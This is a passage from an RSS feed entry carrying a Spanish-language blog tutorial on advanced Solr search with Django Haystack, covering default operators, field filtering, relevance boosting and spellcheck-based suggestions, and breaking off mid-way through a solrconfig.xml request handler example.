      <link>https://coffeebytes.dev/es/django/autocompletado-sugerencias-y-contenido-relacionado-solr-y-django/</link>
      <pubDate>Sun, 29 May 2022 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/django/autocompletado-sugerencias-y-contenido-relacionado-solr-y-django/</guid>
      
      <category>django</category>
      
      <category>linux</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Solr, en unión con Lucene, conforman un motor de búsqueda muy potente que permite realizar búsquedas con funciones avanzadas. en esta entrada te traigo un resumen con  algunas de las funciones más interesantes de Solr y Django Haystack.&lt;/p&gt;&#xA;&lt;p&gt;Doy por sentado que ya tienes una &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/busquedas-con-solr-con-django-haystack/&#34;&gt;aplicación configurada de django con Solr&lt;/a&gt;&#xA;, en caso de que no, revisa mi entrada anterior.&lt;/p&gt;&#xA;&lt;h2 id=&#34;comportamiento-de-las-busquedas-por-defecto-and-y-or&#34;&gt;Comportamiento de las búsquedas por defecto AND y OR&lt;/h2&gt;&#xA;&lt;p&gt;Haystack nos permite definir un comportamiento por defecto para todas las búsquedas, ya sea unir los términos con operadores AND u OR. El valor por defecto es AND pero puedes modificarlo en el archivo de configuración.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# settings.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;HAYSTACK_DEFAULT_OPERATOR &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;AND&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;HAYSTACK_DEFAULT_OPERATOR &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;OR&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;busqueda-por-campo-especifico-con-solr&#34;&gt;Búsqueda por campo específico con Solr&lt;/h2&gt;&#xA;&lt;p&gt;Si queremos limitar nuestra búsqueda a un campo específico del objeto que definimos como índice simplemente se lo pasamos como parámetro, junto con la cadena de texto a buscar.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;vista&lt;/span&gt;(request):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    results &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; SearchQuerySet()&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;models(&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;modelo&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;)&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(title&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;&amp;lt;query text&amp;gt;&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Esto nos permitirá buscar en el campo title nuestro término de búsqueda.&lt;/p&gt;&#xA;&lt;h2 id=&#34;importancia-en-los-campos-en-la-busqueda-en-solr&#34;&gt;Importancia en los campos en la búsqueda en Solr&lt;/h2&gt;&#xA;&lt;p&gt;¿Recuerdas que Solr ordena los resultados por relevancia? A veces queremos aumentar la relevancia en ciertos casos, por ejemplo: quizás quieres que el último término buscado por tu usuario influya en la búsqueda. Para esto agregamos el método boost y el valor relativo de importancia que queremos darle.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h3 id=&#34;incremento-por-termino-de-busqueda&#34;&gt;Incremento por término de búsqueda&lt;/h3&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sqs &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; SearchQuerySet()&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;boost(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;&amp;lt;término&amp;gt;&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;1.2&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;incremento-por-campo&#34;&gt;Incremento por campo&lt;/h3&gt;&#xA;&lt;p&gt;Cuando queremos que Solr le de mayor o menor importancia a un campo dado cuando realize una búsqueda, le pasamos el parámetro boost a nuestro campo.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# app/search_indexes.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; haystack &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; indexes&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; .models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Videogame&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;VideogameIndex&lt;/span&gt;(indexes&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;SearchIndex, indexes&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Indexable):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ... otros dcampos&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    name &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; indexes&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;CharField(model_attr&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;name&amp;#39;&lt;/span&gt;, boost&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;1.5&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Este incremento solo es válido cuando se filtra por el campo al que le estamos aplicando el &lt;em&gt;boost&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;SearchQuerySet()&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(SQ(content&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;&amp;lt;query&amp;gt;&amp;#39;&lt;/span&gt;) &lt;span style=&#34;color:#ff6ac1&#34;&gt;|&lt;/span&gt; SQ(name&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;&amp;lt;query&amp;gt;&amp;#39;&lt;/span&gt;))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;sugerencias-de-busqueda-en-solr&#34;&gt;Sugerencias de búsqueda en Solr&lt;/h2&gt;&#xA;&lt;p&gt;Para activar esta característica necesitamos establecer esta opción en la variable &lt;em&gt;HAYSTACK_CONNECTIONS&lt;/em&gt; en el archivo de configuración de Django.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# settings.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;HAYSTACK_CONNECTIONS &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;default&amp;#39;&lt;/span&gt;: {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;ENGINE&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;haystack.backends.solr_backend.SolrEngine&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;URL&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;http://127.0.0.1:8983/solr/&amp;lt;nombre_del_núcleo&amp;gt;&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;INCLUDE_SPELLING&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    },&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;configuracion-del-search_index&#34;&gt;Configuración del search_index&lt;/h3&gt;&#xA;&lt;p&gt;Primero necesitamos crear un campo de sugerencias, que tomará su información del campo text que usamos por defecto.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;VideogameIndex&lt;/span&gt;(indexes&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;SearchIndex, indexes&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Indexable):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    suggestions &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; indexes&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;FacetCharField()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;prepare&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;, obj):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        prepared_data &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;super&lt;/span&gt;()&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;prepare(obj)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        prepared_data[&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;suggestions&amp;#39;&lt;/span&gt;] &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; prepared_data[&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;text&amp;#39;&lt;/span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; prepared_data&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Además, necesitamos modificiar nuestro archivo de configuración &lt;em&gt;solrconfig.xml&lt;/em&gt; y agregar la siguiente configuración&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-xml&#34; data-lang=&#34;xml&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;searchComponent&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;spellcheck&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;class=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;solr.SpellCheckComponent&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;str&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;queryAnalyzerFieldType&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;text_general&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/str&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;lst&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;spellchecker&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;str&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;name&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;default&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/str&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;str&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;field&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;text&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/str&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;str&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;classname&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;solr.DirectSolrSpellChecker&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/str&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;str&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;distanceMeasure&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;internal&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/str&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;float&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;accuracy&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;0.5&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/float&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;int&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;maxEdits&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;2&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/int&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;int&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;minPrefix&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;1&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/int&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;int&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;maxInspections&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;5&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/int&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;int&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;minQueryLength&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;4&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/int&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;float&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;maxQueryFrequency&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;0.01&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/float&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/lst&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;/searchComponent&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Y reemplazar el &lt;em&gt;SearchHandler&lt;/em&gt; en el mismo archivo.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-xml&#34; data-lang=&#34;xml&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;requestHandler&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/select&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;class=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;solr.SearchHandler&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;lst&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;defaults&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;str&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;echoParams&amp;#34;&lt;/span&gt;&lt;span 